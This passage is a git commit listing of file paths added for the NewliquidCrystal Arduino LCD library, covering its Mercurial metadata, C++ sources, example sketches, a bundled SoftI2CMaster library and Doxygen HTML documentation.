create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__3.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__4.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__4.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__5.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__5.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__61.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__62.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__63.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__64.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__65.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6e.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__7.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__7.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__70.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__72.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__77.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__8.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__8.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__9.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__9.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__a.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__a.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__b.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__b.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__c.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__d.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/mag__sel.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/nomatches.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/pages__0.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/pages__0.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search__l.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search__m.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search__r.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/searchdata.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/typedefs__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/variables__5f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/splitbar.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/sync__off.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/sync__on.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__a.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__b.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__h.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tab__s.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/tabs.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/~2ehgignore.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/~2ehgtags.i create mode 100644 libraries/NewliquidCrystal/.hg/store/dh/utility/docs/html/md___users_fmalpartida__documents_development_mercurial_r945e6cf0c5a25adbd13121dc8faf9920ab60c890.i create mode 100644 libraries/NewliquidCrystal/.hg/store/fncache create mode 100644 libraries/NewliquidCrystal/.hg/store/undo create mode 100644 libraries/NewliquidCrystal/.hg/strip-backup/49ed0cdee2e3-backup.hg create mode 100644 libraries/NewliquidCrystal/.hg/undo.bookmarks create mode 100644 libraries/NewliquidCrystal/.hg/undo.branch create mode 100644 libraries/NewliquidCrystal/.hg/undo.desc create mode 100644 libraries/NewliquidCrystal/.hg/undo.dirstate create mode 100644 libraries/NewliquidCrystal/.hgignore create mode 100644 libraries/NewliquidCrystal/.hgtags create mode 100644 libraries/NewliquidCrystal/FastIO.cpp create mode 100644 libraries/NewliquidCrystal/FastIO.h create mode 100644 libraries/NewliquidCrystal/I2CIO.cpp create mode 100644 libraries/NewliquidCrystal/I2CIO.h create mode 100644 libraries/NewliquidCrystal/LCD.cpp create mode 100644 libraries/NewliquidCrystal/LCD.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_I2C.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SI2C.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR1W.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR2W.h create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp create mode 100644 libraries/NewliquidCrystal/LiquidCrystal_SR3W.h create mode 100644 libraries/NewliquidCrystal/README.md create mode 100644 libraries/NewliquidCrystal/SI2CIO.cpp create mode 100644 libraries/NewliquidCrystal/SI2CIO.h create mode 100644 libraries/NewliquidCrystal/SoftI2CMaster.h create mode 100644 libraries/NewliquidCrystal/def/doxygen.def create mode 100644 libraries/NewliquidCrystal/doxygen_entrydb_2806.tmp create mode 100644 libraries/NewliquidCrystal/doxygen_objdb_2806.tmp create mode 100644 libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde create mode 100644 libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde create mode 100644 libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino create mode 100644 libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde create mode 100644 libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino create mode 100644 libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde create mode 100644 libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt create mode 100644 libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde create mode 100644 libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde create mode 100644 libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino create mode 100644 libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde create mode 100644 libraries/NewliquidCrystal/keywords.txt create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h create mode 100644 libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt create mode 100644 libraries/NewliquidCrystal/utility/docs/Doxyfile create mode 100644 libraries/NewliquidCrystal/utility/docs/def/doxygen.def create mode 100644 libraries/NewliquidCrystal/utility/docs/def/doxygen.def.txt create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r2_w_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r3_w_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_s_i2_c_i_o_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/_soft_i2_c_master_8h_source.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/annotated.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/arrowdown.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/arrowright.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/bc_s.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/bdwn.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_s_i2_c_i_o.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master-members.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/classes.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/closed.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/doc.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/doxygen.css create mode 100644 libraries/NewliquidCrystal/utility/docs/html/doxygen.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/dynsections.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/files.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/files.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/folderclosed.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/folderopen.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2blank.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2doc.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2folderclosed.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2folderopen.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2lastnode.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2link.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2mlastnode.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2mnode.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2node.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2plastnode.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2pnode.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2splitbar.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/ftv2vertline.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/functions.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/functions_func.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/functions_vars.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/globals.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/globals_defs.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/globals_enum.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/globals_eval.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/globals_func.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/globals_type.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/hierarchy.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/hierarchy.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/index.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/installdox create mode 100644 libraries/NewliquidCrystal/utility/docs/html/jquery.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/logoGoogle.jpg create mode 100644 libraries/NewliquidCrystal/utility/docs/html/md___users_fmalpartida__documents_development_mercurial_repos__s_w__newliquid_crystal__r_e_a_d_m_e.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/nav_f.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/nav_g.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/nav_h.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/navtree.css create mode 100644 libraries/NewliquidCrystal/utility/docs/html/navtree.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/navtreedata.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/navtreeindex0.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/open.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/pages.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/resize.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_0.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_0.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_1.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_1.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_2.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_2.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_3.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_3.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_4.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_4.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_5.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_5.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_5f.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_6.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_6.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_61.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_62.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_63.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_64.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_65.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_66.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_68.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_69.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_7.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_7.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_70.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_72.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_73.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_74.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_77.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_8.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_8.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_9.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_9.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_a.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_a.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_b.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_b.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_c.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_d.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/all_d.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_0.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_0.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_1.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_1.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_2.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_2.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_69.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/classes_6c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/close.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_5f.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_61.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_62.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_63.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_64.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_65.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_66.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_68.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_6c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_72.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_73.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/defines_74.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/enums_74.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_68.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_6e.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_70.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_73.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/files_66.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/files_69.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/files_6c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_0.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_0.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_1.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_1.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_2.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_2.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_3.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_3.js create mode 100644 